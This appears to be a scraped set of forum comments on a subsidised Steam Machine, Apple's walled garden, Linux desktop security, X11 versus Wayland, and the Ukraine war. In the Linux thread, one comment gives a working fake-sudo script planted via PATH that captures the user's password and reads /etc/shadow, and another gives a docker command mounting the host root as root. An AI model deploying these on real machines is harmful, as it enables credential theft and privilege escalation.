If Valve subsidizes PC by $200 why would people not buy for office, art, video editing? And gaming is not only Steam, there is also GOG, EGS, Microsoft Store.

> If Valve subsidizes PC by $200 why would people not buy for office, art, video editing?

I already said why, but you ignored my second sentence out of two sentences...?

Let's say Valve subidizes it down to $800. But you can get a good office/art PC for $300, and a steam machine isn't particularly good for video editing. So why would you pay $800 and pick the steam machine if you're not gaming?

> And gaming is not only Steam, there is also GOG, EGS, Microsoft Store.

Why are you bringing up a whole different argument now? Yeah Steam won't get their cut for all games. But they'd get their cut for most games. If they have 75% market share then reduce the subsidy they could reasonably apply by 25%. Well, less than 25% because most people are leaving Steam OS on there and are even more likely to buy on Steam.

We have entire handheld lines for console emulators. More performant GPUs useful for Dolphin, PPSSPP, RPCS3, Ryujinx. GPU used for 3D modelling and sculpting, video editing, encoding. Steam machine subsidized by $200 PC would be used for anything but Steam, payed by Steam users.

You've ignored "art, video editing" and you claim that your point ignored? Why do you type words at all if issue is their consumption?

> We have entire handheld lines for console emulators. More performant GPUs useful for Dolphin, PPSSPP, RPCS3, Ryujinx.

Those people are gamers! If they want the steam machine it supports the argument I actually made before you brought up something entirely different (most of them buy steam games too btw).

> GPU used for 3D modelling and sculpting, video editing, encoding. Steam machine subsidized by $200 PC would be used for anything but Steam, payed by Steam users.

It's not a particularly good GPU. I don't think you'd get a lot of those users.

> You've ignored "art, video editing" and you claim that your point ignored? Why do you type words at all if issue is their consumption?

What are you talking about? I addressed both of those.

Use ctrl+F if you need to.

You've gone beyond skipping what I said to gaslighting me about it.

Entity asks question, unable to comprehend answer, claim any gaming leads to Valve revenue, discards video editing and art examples. Please stop wasting bytes.

I didn't fail to understand your answer, I disagreed with it and said why.

While you showed an inability to read my sentences twice.

But sure blame me if you want, bye.

Steam Machine is PC. Attempt to answer why I should not buy subsidized PC for work, install whatever OS, not buy any game.

Nausea is from Latin "seasickness", known for thousands years.

From my experience bus was the worst as you can't get front seat, even worse were backward positioned seats. Train and plane were great. Car in the middle, depend on road and driving style.

If I was on bus during childhood you would know by stops it made. We avoided that by traveling by car.

Apple transformed handheld computing into walled garden, brainwashed installation into "sideloading". Apple software update made Apple laptops to fail booting Linux.

"Concerned people are insane anti-Apple without any solid arguments, lol"

Not how I'm intending to come off as. I am more specifically mentioning the comments that say stuff like "Apple laptops are overpriced pieces of junk" but without thinking of those whose workflows would be impacted very negatively by moving to more open platforms (not because of the platform, but I mean because of hardware)

It's like they are looking at a specific application, finding that Macs are bad at it, and declaring it crap in every way, which isn't true.

Web pages handled by browsers. Linux desktop running code without sandbox is reckless, relied on verification by distro maintainers, does not work the moment users run proprietary software.

Programming language packages issue only because we don't have zero trust for modules — no restrictions to open socket or file system. Issue is not count, pure function leftPad can't hurt you.

Linux distributions do not need Copy Fail to get root access:

    echo 'export PATH="$HOME/.local/bin:$PATH"' >> ~/.bashrc

    mkdir -p .local/bin/
    cat <<EOF >.local/bin/sudo
    read -rs -p "[sudo] password for $USER: " PASSWORD
    echo ""
    echo "$PASSWORD" | /usr/bin/sudo -S head /etc/shadow
    EOF

    chmod +x .local/bin/sudo

attack on next sudo call, shows data accessible only to root.

Our security model based on distributions verifying packages, that is distro maintainers. Software we can't trust should be running in VMs. Attack on trivy is just the beginning and solution is removing pip, uv, npm, rbenv from host, running in docker containers:

    $ docker run -it -v.:/app -w /app node:alpine /bin/sh

long term environments defined in docker compose:

    $ docker-compose.yml
    services:
      app:
        image: node:alpine
        volumes:
          - .:/app
        working_dir: /app
        command: /bin/sh
    $ docker compose run app

switch to Kata etc if more protection needed. Eventually all userspace would run in VMs.

These copyfail exploits allow an unprivileged (daemon/app) user (not in sudoers) to get root without interaction from the original system maintainer.

It's quite different from PATH-injecting an already privileged user.

Also, these memory corruptions can likely be used as container escape primitives too. Albeit not easily.

It's a serious break of a security boundary. Yes, container layer adds defense, and normal unix security isn't perfect, but it should not allow this.

Copy Fail can't affect files it can't access.

PoC attack on k8s [1] claims execution through sibling layers of kube-proxy, host filesystem access through /dev/ [2].

[1] https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kuber...

[2] https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kuber...

If `docker` is already there, why even bother with `sudo` when you can just:

    docker run --rm -it -v '/:/mnt' -u 'root' 'alpine' '/bin/sh' '-l'

Chances are that the person who set up Docker didn't do it properly.

Run in docker container:

    $ docker run -it -v.:/app -w /app node:alpine /bin/sh
    /app # docker run --rm -it -v '/:/mnt' -u 'root' 'alpine' '/bin/sh' '-l'
    /bin/sh: docker: not found

I've described attack from host user and isolating attacker with docker.

Containerizing every app is what iOS / iPadOS already do.

It is regularly pointed out as a drawback by Android users (e.g. "I can't run that doomscrolling blocker in iOS"), but from a security-model perspective it was visionary back in 2008.

> Lunduke spreads misinformation

He doesn't. He just reports events as a journalist. He doesn't fight against open source.

You can use Xephyr or Xnest to sandbox an untrusted or insecure application within its own X11 instance. This gives you the exact same kind of security property that Wayland happens to enforce out of the box for its clients, except that it need not apply to basic desktop components such as the window manager or the desktop panel. You don't even need Xlibre or anything, this stuff has been around for ages. It's not rocket surgery!

Xephyr or Xnest sandbox break screensharing, global shortkeys.

You've just confirmed obvious. No way to improve security without breaking changes. And you demand mostly nontechnical users to blacklist applications. That's a recipe for disaster.

>Name how it's possible to improve security on X11 without breakig changes.

Namespaces. It's been done already. Look into XLibre.

>Lunduke made factually wrong claims for hype.

Citation needed.

>His mob are keen to attack Open Source developers.

Doesn't own a mob, and never happened. Horrible accusation, by the way.

Once you enable XLibre namespaces filtering it breaks screensharing, global hotkeys. Obviously. It is breaking change.

> Doesn't own a mob, and never happened. Horrible accusation, by the way.

Mob unable to response on technical question. To use logic.

> Citation needed.

His YouTube comment section speaks volumes. He manipulates technically uneducated.

> Once you enable XLibre namespaces filtering it breaks screensharing, global hotkeys. Obviously. It is breaking change.

Ah, the classic moving of goalposts.

I'll bite: It is far from impossible, and already solved elsewhere: Most applications do not need such functionality.

For those that do, provide mechanisms to request and facilitate access to such functionality when needed. Like portals do for other functionality. And a wrapper to request automatically for e.g. old binaries without source.

> (further slander on Lunduke and community)

Uncool.

API is contract. API grants access to screen content, key presses. Users blame Wayland for breaking this contract. Both Wayland and XLibre namespaces brake it. Lunduke mob unable to reason, claims "moving goalposts". Lunduke mob claims improving security is not needed. Lunduke mod wants Linux desktop to be malware can. They claim security improvements for everyone (like defaults on Android) is corporations taking away their freedom. Lunduke mob unable to comprehend Wayland started by XOrg developers who knew X11 flaws. They unable to be thankful for people bringing security to modern expectations.

"Poland provoked occupation by Germany" (1939)? Germany "liberated Czechoslovakia Germans" by occupation and annexation (1938)? How occupation and annexation of neighbors ended for WW2 Germany (1938-1945)?

In 2014 Moscow invaded Ukraine, occupied Crimea, Donetsk, Luhanks. In 2022 Moscow invaded again. No NATO forces in Ukraine. No Moscow forces on NATO members territory. Trump officials unable to answer who started war, you blame NATO, both you and Trump aligned with Moscow.

> No Moscow forces on NATO members territory.

But russian plane incursions (regularly) happen, and also drones fall on nato territories.

Windows RT "sideloading" denied for ordinary users, costly for Line-of-Business apps (2012).

Microsoft UWP only Microsoft Store. Microsoft backtracked their walled garden Windows plans for a while as result of Windows Phone fiasco.

Yes, we are.